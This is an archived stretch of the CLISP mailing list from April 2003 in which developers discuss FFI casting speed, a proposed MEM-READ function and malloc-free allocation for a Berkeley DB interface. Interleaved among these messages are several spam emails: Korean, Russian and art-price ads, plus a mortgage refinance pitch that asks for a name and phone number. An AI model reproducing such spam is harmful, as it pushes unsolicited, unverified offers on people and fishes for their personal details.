List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 7 07:30:27 2003 X-Original-Date: Mon, 7 Apr 2003 16:23:44 +0200 Aurelio Bignoli wrote: >with-c-var/cast > Real time: 1.273894 sec. (it was 1.494392) >with-foreign-object/%cast > Real time: 0.521461 sec. (it was 0.638666) This is strange, since the compiler macro using LOAD-TIME-VALUE is supposed to do exactly what I did by hand using %CAST directly. Therefore, one should not see any difference in speed (or slowness). Likewise, WITH-C-VAR is just a compile-time macro (symbol-macrolet) atop with-foreign-object, and the macro usage should be compiled away. Therefore, it should not make a difference at run-time. >my FFI code for Berkeley DB works fine with this new definition. Sure, but knowing how it works one can easily defeat it (e.g. using non-top-level DEF-C-TYPE and DEFUN in same scope). Therefore, it cannot IMHO become part of standard CLISP. What's in foreign1.lisp must work in all cases for all FFI users, not only in simple situations. In other words The LOAD-TIME-VALUE optimization is not conservative enough. I welcome suggestions. Another approach may be to recursively traverse the c-type definiton at compile-time, computing whether the declaration is a simple one or not. If yes, inline it. That's the other side: a too conservative algorithm/optimization. Regards, Jorg Hohle. From master@89894.com Mon Apr 07 07:38:54 2003 Received: from [211.221.139.200] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192Xls-0002nB-00 for ; Mon, 07 Apr 2003 07:38:53 -0700 Message-ID: <22370-220032521363406@89894.com> X-EM-Version: 6, 0, 0, 4 X-EM-Registration: #0010630410721500AB30 Reply-To: master@89894.com From: "½Å¿ë ö" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=KS_C_5601-1987 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] (±¤°í)¾Æ´Ï! ÀÌ ¹«½¼ ³¿»õ......???@ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 7 07:39:16 2003 X-Original-Date: Fri, 21 Feb 2003 12:06:03 +0900

=B1=CD=C7=CF=C0=C7 =B8=DE=C0=CF=C1=D6=BC=D2=B4=C2= =C0=A5=BC=AD=C7=CE=C1=DF, http://www=2Exxxxxxxx=2Ecom/=20
=BF=A1=BC=AD =BE=CB=B0=D4 =B5=C8=B0=CD=C0=CC=B8=E7, E-Mail =C1=D6=BC=D2= =BF=DC=BF=A1, =B4=D9=B8=A5 =C1=A4=BA=B8=B4=C2 =B0=AE=B0=ED =C0=D6=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E
=C1=A4=C5=EB=BA=CE =B1=C7=B0=ED=BB=E7=C7=D7= =BF=A1 =C0=C7=B0=C5 =C1=A6=B8=F1=BF=A1
[=B1=A4=B0=ED]=B6=F3=B0=ED =C7=A5=B1=E2=C7=D1 =B8=DE=C0=CF=C0=D4= =B4=CF=B4=D9=2E =BF=F8=C4=A1 =BE=CA=C0=B8=B8=E9 =BC=F6=BD=C5=B0=C5=BA=CE=B8=A6 =B4=AD=B7=AF=C1=D6=BC=BC=BF=E4

 

 

 

(=B1=A4=B0=ED)=BE=C6=B4=CF!  =C0=CC =B9=AB=BD=BC=20 =B3=BF=BB=F5=2E=2E=2E=2E=2E=2E???@

 

=

=BE=C8=B3=E7= =C7=CF=BC=BC=BF=E4 $EmailTo =B4=D4!!!

=B9=E6=C7=E2=C1=A6=20 =B6=A7=B9=AE=BF=A1 =B8=D3=B8=AE=B0=A1 =BE=C6=C7=C1=BD=C3=C1=D2=2E=2E=2E!  =20 =C0=CC=B7=B8=B0=D4 =C7=CF=BD=C3=B8=E9 =B5=CB=B4=CF=B4=D9=2E<= /SPAN>

 

=B8= =F0=B5=E7=20 =B3=BF=BB=F5 =BE=C7=C3=EB=C1=A6=B0=C5 =C0=FC=B9=AE=2E=2E= =2E=2E=2E=2E

=C3=B5=BF=AC=BF=F8=B7=E1=20 =C1=A6=C7=B0=C0=B8=B7=CE =C0=CE=C3=BC =C0=FC=BF=AC =B9=AB=C7=D8=C7=CF=B0=ED= =C0=DA=BF=AC =C4=A3=C8=AD=C0=FB=C0=CE =C1=A6=C7=B0=C0=B8=B7=CE =B5=CE=C5=EB= =C0=BB =C0=AF=B9=DF=C7=CF=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E=2E=2E=2E=2E

=B4=E3=B9=E8=B3=BF=BB=F5, =C0=BD=BD=C4=B3=BF=BB= =F5, =B0=F5=C6=CE=C0=CC=B3=BF=BB=F5, =B0=F5=C6=CE=C0=CC=BC=BC=B1=D5, =B9=AB= =C1=BB=B1=D5, =B9=DF=B3=BF=BB=F5, =C0=CE=C3=BC=B3=BF=BC=BC, =B5=C8=C0=E5=B1=B9=B3=BF=BB=F5= , =C3=BB=B1=B9=C0=E5=B3=BF=BB=F5,=20 =C0=CE=C5=D7=B8=AE=BE=EE =B3=BB=C0=E5=C0=E7 =B3=BF=BB=F5,

=C7=CF=BC=F6=B1=B8=B3=BF=BB=F5, =B0=A2=C1=BE =C4= =FB=C4=FB=C7=D1 =B3=BF=BB=F5, =BD=C2=BF=EB=C2=F7=BE=C8=C0=C7 =B3=BF=BB=F5,= =B0=A1=C3=E0=B3=BF=BB=F5, =B0=A1=C3=E0 =BA=D0=B4=A2=B3=BF=BB=F5, =C8=AD=C0= =E5=BD=C7=B3=BF=BB=F5, =BE=B2=B7=B9=B1=E2=B3=BF=BB=F5,=20 =BE=B2=B7=B9=B1=E2=C0=E5 =BE=C7=C3=EB,=

=C1=A4=C8=AD=C1=B6 =B3=BF=BB=F5, =BA=B4=BF=F8 = =C0=D4=BF=F8=BD=C7=B3=BF=BB=F5, =C1=F6=C7=CF=BD=C7 =C4=FB=C4=FB=C7=D1=20 =B3=BF=BB=F5,

=C0=CC =B8=F0=B5=E7 =B3=BF=BB=F5=BF=CD =BE=C7=C3=EB=B8=A6 =B1=D9=BF= =F8=C0=FB=C0=B8=B7=CE =BA=D0=C7=D8 =C1=A6=B0=C5=C7=CF=B8=E7 =B0=F5=C6=CE=C0= =CC =BC=BC=B1=D5=C0=BB =BB=EC=B1=D5=C3=B3=B8=AE=C7=D5=B4=CF=B4=D9=2E=2E=2E=2E

 

 

www=2E89894=2Ecom  =BF=A1=BC=AD

 

=B3=BF=BB=F5=BF=F8=C0=BB =C1=A6=B0=C5=C7=D1=B5=DA =C0=DA=BF=AC=C7= =E2=C0=BB =C0=BA=C0=BA=C7=CF=B0=D4 =C7=B3=B1=E2=BE=EE =C1=DD=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

%%%  =20 =C3=DF=BB=E7   %%%

 

=C1=A6=C7=B0=C0=BB=20 =B1=B8=C0=D4=C7=CF=BD=C5=BA=D0=BF=A1 =C7=D1=C7=D8=BC=AD cafe=2Edaum=2Enet/106030 =B9=AB=C7=D1=B5=BF=B7=C2 =C4=AB=C6=E4=BF=A1 =C4=AB=C5=D7=B0=ED=B8=AE =C8=B8=BF=F8 =B5=EE=B7=CF=B6=F5=C0=BB =C5=AC=B8=AF= =C7=CF=B0=ED =B5=E9=BE=EE=B0=A1=BC=AD=20 =B1=DB=C0=BB=B3=B2=B0=DC=B3=F5=C0=B8=BD=C3=B8=E9 =B9=AB=C7=D1=B5=BF=B7=C2 = =B0=B3=B9=DF=C0=BB(=B3=E2=B8=BB=BE=C8=BF=A1 =BF=CF=B7=E1=BF=B9=C1=A4) =BF=CF= =B7=E1=C8=C4 =C3=A2=BE=F7 =C1=D6=C1=D6=B0=A1=B5=C7=BD=C7=BC=F6=C0=D6=B4=C2 =BF=EC=BC=B1=B1=C7 =B9=D7= =C0=DA=B0=DD=C0=CC=20 =C1=D6=BE=EE=C1=FD=B4=CF=B4=D9=2E=2E=2E

 

  ^^**^^    ^^**^^   =20 ^^**^^

 

=BC=EE=C7=CE=B8=F4     :=20 www=2E89894=2Ecom

=C0=FC  =20 =C8=AD     :=20 031-394-0045   hp :=20 011-281-1434   =BD=C5  =BF=EB =20 =C3=B6

=B9=AB=C7=D1 =B5=BF=B7=C2 :=20 cafe=2Edaum=2Enet/106030

 

=B0=A8=BB=E7 =C7=D5=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 07 07:57:38 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192Y3y-0007Sg-00 for ; Mon, 07 Apr 2003 07:57:34 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 7 Apr 2003 16:57:26 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <23A0CYQK>; Mon, 7 Apr 2003 16:57:26 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C5337@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] FFI:mem-read and mem-write? -- a "good enough" topic Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 7 07:58:10 2003 X-Original-Date: Mon, 7 Apr 2003 16:57:17 +0200 Hi, I've been thinking about adding a variant of the AFFI:MEM-READ and MEM-WRITE functions that I once put into my AFFI. They would help with some variable-length data. They allow to read/write CLISP's specialized vectors. See AFFI in your local impnotes or in: http://clisp.cons.org/impnotes/affi.html Pros: + Much current convoluted FFI code could become easier to read, write and interface to: Instead of constructing variable-length type definitions at run-time (foreign-value (cast data `(C-ARRAY uint8 ,size))) using MEM-READ, I'd have written (much like in Allegro): (let ((result (make-array size :element-type '(unsigned-byte 8)))) (mem-read (foreign-address data) result)) + Good enough (even much better than current FFI) for Aurelio's DB interface, zlib-compress and many more. + compared to FFI, no need for build+immediately destroy foreign-variable object and definition (->better performance). + never need to build&parse-C-type declaration at run-time (->performance). Contra: - By nature, MEM-READ/WRITE only operate on CLISP's specialised arrays. That is (UNSIGNED-BYTE 8/16/32). No SIGNED-BYTE arrays No floating point arrays (somebody once asked for that). - By nature, doesn't know about DEF-C-TYPE aliases. I.e. they leave a feeling of "80% good enough", yet "not compatible with or stands in the way of 100% solution". What's when the user wants to read an array of *signed* bytes? (dotimes (i size) (setf (aref result i) (mem-read data 'sint8 i))) looks less convincing than (FFI:OFFSET data `(c-array sint8 ,size)). So what's the value of a limited function like MEM-READ? The current FFI forms implement kind of 100% solutions: u/sint8/16/32/64 and even floating point. So is it worth providing MEM-READ/VECTOR for FFI? Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 07 09:09:08 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192ZBC-0003QQ-00 for ; Mon, 07 Apr 2003 09:09:07 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 7 Apr 2003 17:59:21 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <23A0C6MW>; Mon, 7 Apr 2003 17:59:21 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C5376@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] FFI: :malloc-free allocation (was: FFI guru/wizard award to be re warded) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 7 09:10:03 2003 X-Original-Date: Mon, 7 Apr 2003 17:59:19 +0200 Hi, FFI has had :malloc-free allocation since ever. It would be unfortunate if it would not work with Berkely DB. Let's see. Aurelio Bignoli wrote: >I'm trying to interface Berkeley DB C API >(http://www.sleepycat.com). It uses "Data Base Thangs" to read and >write data to/from DB files: I went to consult their doc and found: http://www.sleepycat.com/docs/index.html http://www.sleepycat.com/docs/api_java/c_index.html (def-c-struct DBT (data c-string) ;; truly a polymorphic pointer type (size uint32) (ulen uint32) (dlen uint32) (doff uint32) (flags uint32)) One problem I see is that CLISP's FFI has :malloc-free allocation on a per parameter basis. Here it looks like one would wish for it on a per-pointer basis,e.g. (c-ptr :alloca DBT :malloc-free) So how can we mix that? I'll talk about the 100% solution later. Here comes a solution that should work in current CLISP. We're going to use DEF-C-VAR with :alloc :malloc-free. The variable itself will not be freed, yet some of its pointers may. (def-c-var DBT-pool (:type (c-array DBT 10)) (:name "DBT_pool") (:alloc :malloc-free)) Using (setf (slot (element DBT-pool 0) 'data) "foobar") invokes malloc(). We can free() that memory using (setf (slot (element DBT-pool pool-index) 'data) nil) This can be used together with both Bekerley DB's free and realloc flags. This yields to the following schema: (def-call-out DB-get (:arguments (key c-pointer)) (:return-type ...) (:language :stdc)) (defun get-as-string (pool-index) (prog1 (values (DB-get (c-var-address (element DBT-pool pool-index))) ;;TODO error checking (slot (element DBT-pool pool-index) 'data)) ;; setting to NIL frees memory (setf (slot (element DBT-pool pool-index) 'data) nil))) We will use the fact that free() can be called on anything: (get-using-c-type (pool-index c-type) (prog1 (values (DB-get (c-var-address (element DBT-pool pool-index))) ;;TODO error checking ;;uhoh, run-time parse-c-type... (cast (slot (element DBT-pool pool-index) 'data) c-type)) (setf (slot (element DBT-pool pool-index) 'data) nil))) ;(get-using-c-type 0 `(c-ptr (c-array uint ,size))) On symbol-macros vs. foreign-variable objects Here (slot (element- ...)) is recomputed each and multiple times. If we could use the underlying foreign-variable objects instead of the symbol macros, we could use memoization and other speed up techniques. We'd keep a pool of 10 DBT represented as foreign-variable objects. We could keep a memoized set of foreign-variables, each corresponding to a specific data type, for each DBT. That's also a value of making foreign-variable objects go public. Places are nice, however Lisp (and Smalltalk) programmers know how to manipulate objects. On creating and using foreign-objects dynamically instead of the def-c-var trick More on this another time. Time is running out on me. Regards, Jorg Hohle. From unsub@artauction.net Mon Apr 07 10:57:06 2003 Received: from mail1.artmarket.com ([194.242.43.182]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192arg-000515-00 for ; Mon, 07 Apr 2003 10:57:04 -0700 From: New Realism To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Yves KLEIN (1928-1962) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 7 10:58:02 2003 X-Original-Date: Mon, 07 Apr 2003 10:57:04 -0700 ARTPRICE SEARCHBAR TM - Yves KLEIN - @

The true price of fine art! ¡El verdadero precio del Arte! Der echte Preis der Kunst
Which worldwide data bank can provide you with 461 auction records for Yves Klein, as well as the price levels and indices and biography?

Painting in France 1803-2003
December 20, 2003-April 1, 2004, University Art Museum, University of Louisiana, Lafayette
Nouveau réalisme
March 14, 2003-April 20, 2003, Guangdong Art Museum, Canton

 

Price index for Yves Klein (1928-1962)
Base year 1997 (for all categories)
Yves Klein 
US$ 100 invested in a work of KLEIN, Yves (1928-1962)
have an average value of US$ 135 in December 2002

Rank of artist by turnover
Among all artists in the artprice data bank

1999

2000

2001

2002

Rank by turnover 123 30 44 156

...

Join the 900,000 Artprice customers
Artprice Pure Play ( unlimited access): USD/EUR 16.58 per month

Freely copy and paste the Artprice searchbar™ on your website to open access to our information on 290,000 artists.
Art Market: key figures :-: Become a partner :-: The Fine Art Directory: Art-Online



Free Artist Search :
artprice










THE WORLD LEADER IN ART MARKET INFORMATION













[In English]

Le vrai prix de l'art !
Quelle banque de données mondiale peut vous fournir 461 résultats d'adjudications d'œuvres pour Yves Klein, ses cotes et indices et sa biographie ?

Painting in France 1803-2003
20 décembre 2003-1 avril 2004, University Art Museum, University of Louisiana, Lafayette
Nouveau réalisme
14 mars 2003-20 avril 2003, Guangdong Art Museum, Canton

Indices des prix pour Yves Klein
Base 100 en 1997 (toutes disciplines confondues)
Yves Klein
100 EUR investis en 1997 dans une œuvre de KLEIN, Yves (1928-1962)
valent en moyenne 135 EUR en décembre 2002

...

Rejoignez les 900 000 clients Artprice
Accès illimité : Pure Play* sur Artprice : 16,58 EUR/USD par mois
*100% internet

Gratuit : Posez la barre de recherche Artprice sur votre site et donnez accès à nos informations sur 290 000 artistes -:- Devenez notre partenaire
Marché de l'art : chiffres-clés
The Fine Art Directory: Art-Online



Recherche gratuite :
artprice










LEADER MONDIAL DE L'INFORMATION SUR LE MARCHE DE L'ART









To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artauction.net/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artauction.net/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artauction.net/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artauction.net/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.

En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage.
From 6u1@agrakom.com Mon Apr 07 13:47:06 2003 Received: from [164.77.207.118] (helo=164.77.207.118) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192dWC-0007JW-00 for ; Mon, 07 Apr 2003 13:47:05 -0700 From: 236217@menadesigns.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Mailer: MailCity Service Message-ID: 1638212106@serversolutions.com Subject: [clisp-list] Íåìåöêèå âåñû SOEHNLE ïî âåñåííèì öåíàì !! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 7 13:48:03 2003 X-Original-Date: Mon, 07 Apr 2003 15:47:40 -0500 Soehnle - Âåñû íàïîëüíûå âåñåííèå !

Íåìåöêèå âåñû SOEHNLE ïî âåñåííèì öåíàì !!

Soehnle
Âåñû íàïîëüíûå ýëåêòðîííûå
2150 ð. 1440 ð. Soehnle
Âåñû êóõîííûå ýëåêòðîííûå
3750 ð. 1730 ð.
Soehnle
Âåñû íàïîëüíûå ìåõàíè÷åñêèå
620 ð. 470 ð. Soehnle
Âåñû êóõîííûå ìåõàíè÷åñêèå
720 ð. 460 ð.
Soehnle
Âåñû íàïîëüíûå ìåõàíè÷åñêèå
910 ð. 570 ð. Soehnle
Æèðîèçìåðèòåëü
3450 ð. 2950 ð.
** 4F597B88-7F269C95-7987D261-70EC442-483498 From unsub@artlist.com Tue Apr 08 08:34:48 2003 Received: from mail1.artmarket.com ([194.242.43.183]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192v7V-00075B-00 for ; Tue, 08 Apr 2003 08:34:46 -0700 From: Cubism To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Fernand LEGER Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 8 08:35:11 2003 X-Original-Date: Tue, 08 Apr 2003 08:34:46 -0700 ARTPRICE SEARCHBAR TM - Fernand LégeR

The true price of fine art! ¡El verdadero precio del Arte! Der echte Preis der Kunst
Which worldwide data bank can provide you with 2,230 auction records for Fernand Léger, as well as the price levels and indices, biography, and signatures?

  

Fernand Léger
February 17, 2003-May 18, 2003, Musée départemental de la tapisserie, Aubusson
De Cézanne à Dubuffet : la collection Planque
April 2, 2003-July 27, 2003, Hôtel de Ville, Paris
Modigliani and the artists of Montparnasse
June 28, 2003-September 28, 2003, Los Angeles County Museum of Art

 

Price index for Fernand Léger
Base year 1997 (for all categories)
Fernand Léger 
US$ 100 invested in a work of LÉGER, Fernand (1881-1955)
have an average value of US$ 188 in December 2002

ArtMarketInsight [extract]

His high turnover, regular retrospective shows and diverse output have set off an explosion in the prices paid for Fernand Léger’s work. His price index has doubled in … Read more

Rank of artist by turnover
Among all artists in the artprice data bank

1999

2000

2001

2002

Rank by turnover 17 28 8 6

...

Join the 900,000 Artprice customers
Artprice Pure Play (unlimited access): USD/EUR 16.58 per month

Freely copy and paste the Artprice searchbar™ on your website to open access to our information on 290,000 artists.
Art Market: key figures :-: Become a partner :-: The Fine Art Directory: Art-Online



Free Artist Search :
artprice










THE WORLD LEADER IN ART MARKET INFORMATION













[In English]

Le vrai prix de l'art !
Quelle banque de données mondiale peut vous fournir 2 230 résultats d'adjudications d'œuvres pour Fernand Léger, sa biographie, ses cotes et indices, et ses signatures ?

  

Fernand Léger
17 février 2003-18 mai 2003, Musée départemental de la tapisserie, Aubusson
De Cézanne à Dubuffet : la collection Planque
2 avril 2003-27 juillet 2003, Hôtel de Ville, Paris
Modigliani and the artists of Montparnasse
28 juin 2003-28 septembre 2003, Los Angeles County Museum of Art

Indices des prix pour Fernand Léger
Base 100 en 1997 (toutes disciplines confondues)
Fernand Léger
100 US$ investis en 1997 dans une œuvre de LÉGER, Fernand (1881-1955)
valent en moyenne 188 US$ en décembre 2002

ArtMarketInsight [extrait]

Soutenu par de larges volumes d’échanges, des rétrospectives régulières et une production variée, le marché des œuvres de Fernand Léger explose. Son indice des prix a doublé en… Lire la suite

...

Rejoignez les 900 000 clients Artprice
Accès illimité : Pure Play* sur Artprice : 16,58 EUR/USD
par mois
*100% internet

Gratuit : Posez la barre de recherche Artprice sur votre site et donnez accès à nos informations sur 290 000 artistes -:- Devenez notre partenaire
Marché de l'art : chiffres-clés
The Fine Art Directory: Art-Online



Recherche gratuite :
artprice










LEADER MONDIAL DE L'INFORMATION SUR LE MARCHE DE L'ART









To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artlist.com/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artlist.com/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artlist.com/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artlist.com/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.

En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage.
From marketing4u@mixmail.com Tue Apr 08 10:03:07 2003 Received: from c-24-98-241-56.atl.client2.attbi.com ([24.98.241.56] helo=meep) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192wV1-0002ZM-00 for ; Tue, 08 Apr 2003 10:03:07 -0700 Received: from mixmail.com ([200.210.223.149]) by meep with Microsoft SMTPSVC(6.0.3718.0); Tue, 8 Apr 2003 13:03:02 -0400 From: marketing4u@mixmail.com To: clisp-list@lists.sourceforge.net X-Priority: 3 Content-Type: text/html Message-ID: X-OriginalArrivalTime: 08 Apr 2003 17:03:03.0925 (UTC) FILETIME=[B7E8A250:01C2FDF0] Subject: [clisp-list] Refinance your Home Today! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 8 10:04:02 2003 X-Original-Date: 8 Apr 2003 13:03:03 -0400

Refinance Today!

10 or 15 year Fixed Conforming 4.630%
20 or 30 year Fixed Conforming 5.250%
15 Yr Fixed Jumbo 4.750%
30 Yr Fixed Jumbo 5.630%

Conforming Loans are up to $322,700
Jumbo Loans are $322,701 and higher

Rates based on Approved Credit

Call Today! 650-287-4266 x288
Ask for Andrew

or e-mail me at:direct_lender@mixmail.com.

Name and Phone:


Sorry Uninterested Click Here
From a.bignoli@computer.org Tue Apr 08 13:17:09 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192zWk-000453-00 for ; Tue, 08 Apr 2003 13:17:07 -0700 Received: from ghimel.fauser.it (IDENT:0@pool1-ip8.fauser.it [80.20.153.73]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id WAA31487; Tue, 8 Apr 2003 22:12:47 +0200 (MET DST) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.9/8.12.9) with ESMTP id h38KGcDJ000201; Tue, 8 Apr 2003 22:16:38 +0200 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.9/8.12.9) with ESMTP id h38KGXSL003101; Tue, 8 Apr 2003 22:16:34 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.9/8.12.9/Submit) id h38FeWPY002532; Tue, 8 Apr 2003 17:40:32 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16018.60784.848335.399131@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C530A@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE036C530A@G8PQD.blf01.telekom.de> X-Mailer: VM 7.14 under Emacs 21.2.1 Subject: [clisp-list] Re: Please try out FFI speed improvement Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 8 13:18:03 2003 X-Original-Date: Tue, 8 Apr 2003 17:40:32 +0200 Hoehle, Joerg-Cyril writes: > Aurelio Bignoli wrote: > >with-c-var/cast > > Real time: 1.273894 sec. (it was 1.494392) > >with-foreign-object/%cast > > Real time: 0.521461 sec. (it was 0.638666) > > This is strange, since the compiler macro using LOAD-TIME-VALUE is > supposed to do exactly what I did by hand using %CAST > directly. Therefore, one should not see any difference in speed (or > slowness). You are right. For my tests I used the following two functions: (defun get-foreign-data-2 (data size type) (with-c-var (p 'c-pointer data) (cast p (cond ((eq type 'integer) '(c-ptr int)) ((eq type 'string) `(c-ptr (c-array character ,size))) (t (multiple-value-bind (ft byte-size) (foreign-element-type type) `(c-ptr (c-array ,ft ,(/ size byte-size))))))))) (defun get-foreign-data-3 (data size type) (declare (ignore size)) (cond ((eq type 'integer) (with-foreign-object (p 'c-pointer data) (ffi::foreign-value (ffi::%cast p (load-time-value (ffi::parse-c-type '(c-ptr int))))))) ((eq type 'string) "") (t 0))) In both cases the COND macro expands into (IF (EQ TYPE 'INTEGER) ...) so, in my opinion, the execution time of the two functions should be equivalent to the execution time of WITH-C-VAR or WITH-FOREIGN-OBJECT plus the execution time of IF. I was wrong: the following, simpler functions: (defun get-foreign-int-1 (data) (with-c-var (p 'c-pointer data) (cast p '(c-ptr int)))) (defun get-foreign-int-2 (data) (with-foreign-object (p 'c-pointer data) (ffi::foreign-value (ffi::%cast p (load-time-value (ffi::parse-c-type '(c-ptr int))))))) have exactly the same execution time. From a.bignoli@computer.org Tue Apr 08 13:17:13 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192zWp-00045i-00 for ; Tue, 08 Apr 2003 13:17:11 -0700 Received: from ghimel.fauser.it (IDENT:0@pool1-ip8.fauser.it [80.20.153.73]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id WAA31509; Tue, 8 Apr 2003 22:12:47 +0200 (MET DST) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.9/8.12.9) with ESMTP id h38KGcDJ000202; Tue, 8 Apr 2003 22:16:38 +0200 Received: from dalet.fauser.it 